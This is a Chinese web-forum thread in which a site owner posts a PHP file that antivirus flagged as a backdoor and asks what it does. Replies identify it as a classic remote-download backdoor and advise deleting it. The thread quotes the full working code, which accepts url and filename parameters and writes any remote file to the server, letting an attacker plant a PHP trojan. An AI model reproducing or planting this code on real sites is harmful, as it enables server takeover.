·设为首页收藏本站📧邮箱修改🎁免费下载专区💎积分✅卡密📒收藏夹👽聊天室
返回列表 发布新帖

有懂这个代码的吗?杀毒软件提示有“已知后门 ”

161 4
发表于 2024-10-10 22:10:24 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
  1. <?phpset_time_limit(0);if(isset($_GET['url']) && isset($_GET['filename'])){        if(httpcopy($_GET['url'], $_GET['filename'])){            echo("Done.");        }else{            echo("Down Error.");        }}else{        die('Input error.');}function httpcopy($url, $file="", $timeout=60) {    $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;    $dir = pathinfo($file,PATHINFO_DIRNAME);    !is_dir($dir) && @mkdir($dir,0755,true);    $url = str_replace(" ","%20",$url);    if(function_exists('curl_init')) {                echo "curl ";        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);        $temp = curl_exec($ch);        if(@file_put_contents($file, $temp) && !curl_error($ch)) {            return $file;        } else {            return false;        }    } else {                echo "copy ";        $opts = array(            "http"=>array(            "method"=>"GET",            "header"=>"",            "timeout"=>$timeout)        );        $context = stream_context_create($opts);        if(@copy($url, $file, $context)) {            //$http_response_header            return $file;        } else {            return false;        }    }}?>
复制代码
我要说一句 收起回复
创宇盾启航版免费网站防御网站加速服务

评论4

IT618发布Lv.8 发表于 2024-10-10 22:10:56 | 查看全部
这段代码是一个简单的 PHP 脚本,用于从指定的 URL 下载文件并保存到服务器上。它使用了两种不同的方法来实现文件下载:cURL 和 PHP 的内置 `copy` 函数。

以下是代码的主要功能和步骤:

1. 设置脚本的最大执行时间为无限,这样即使下载需要很长时间,脚本也不会因为超时而中断。

2. 检查是否通过 GET 请求传递了 `url` 和 `filename` 参数。如果没有,脚本将输出错误信息并终止执行。

3. 如果提供了必要的参数,脚本将调用 `httpcopy` 函数来下载文件。

4. `httpcopy` 函数接受三个参数:文件的 URL、要保存的文件名(如果为空,则使用 URL 中的文件名),以及超时时间。

5. 函数首先检查是否提供了文件名,如果没有,则从 URL 中提取文件名。

6. 然后检查文件名指定的目录是否存在,如果不存在,则尝试创建该目录。

7. 使用 `str_replace` 函数将 URL 中的空格替换为 `%20`,以确保 URL 格式正确。

8. 如果服务器支持 cURL,脚本将使用 cURL 来下载文件。设置 cURL 的选项,包括超时时间和返回传输数据。然后执行 cURL 请求,并将结果保存到文件中。如果下载成功且没有错误,函数返回文件路径。

9. 如果服务器不支持 cURL,则使用 PHP 的 `stream_context_create` 函数创建一个上下文,然后使用 `copy` 函数尝试下载文件。如果下载成功,函数返回文件路径。

10. 如果使用 cURL 或 `copy` 函数下载文件失败,函数返回 `false`。

请注意,这段代码可能存在安全风险,因为它允许通过 URL 参数直接下载文件,这可能导致任意文件下载漏洞。在实际应用中,应该对输入的 URL 进行严格的验证和过滤,以防止潜在的安全问题。此外,这段代码没有处理 HTTP 重定向,如果目标 URL 发生重定向,可能会导致下载失败。
我要说一句 收起回复
浅生Lv.8 发表于 2024-10-10 22:11:48 | 查看全部
人家访问你这个文件,然后加上参数url和filename,就可以下载文件到你服务器上! 单纯httpcopy是没问题的,,也会用到,,但是加上前面这些就很危险了!谁都可以下载文件到你服务器!尤其是filename重命名下载一个php木马到你服务器,,那你服务器就是人家的了!
我要说一句 收起回复
TyCodingLv.8 发表于 2024-10-10 22:12:30 | 查看全部
简单说就是经典的PHP后门代码,可以远程下载文件到你服务器的后门木马。是一个病毒后门,人家可以随时入侵你的网站,也可以随便植入广告到你的网站。赶紧删除吧,免得哪天被植入带颜色的广告的都不知道。
我要说一句 收起回复
浅生Lv.8 发表于 2024-10-10 22:13:27 | 查看全部
修改创建文件 都会被曝毒
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

创宇盾启航版免费网站防御网站加速服务
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:18.226.163.23,GMT+8, 2025-1-16 03:00 , Processed in 0.251909 second(s), 98 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2025 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表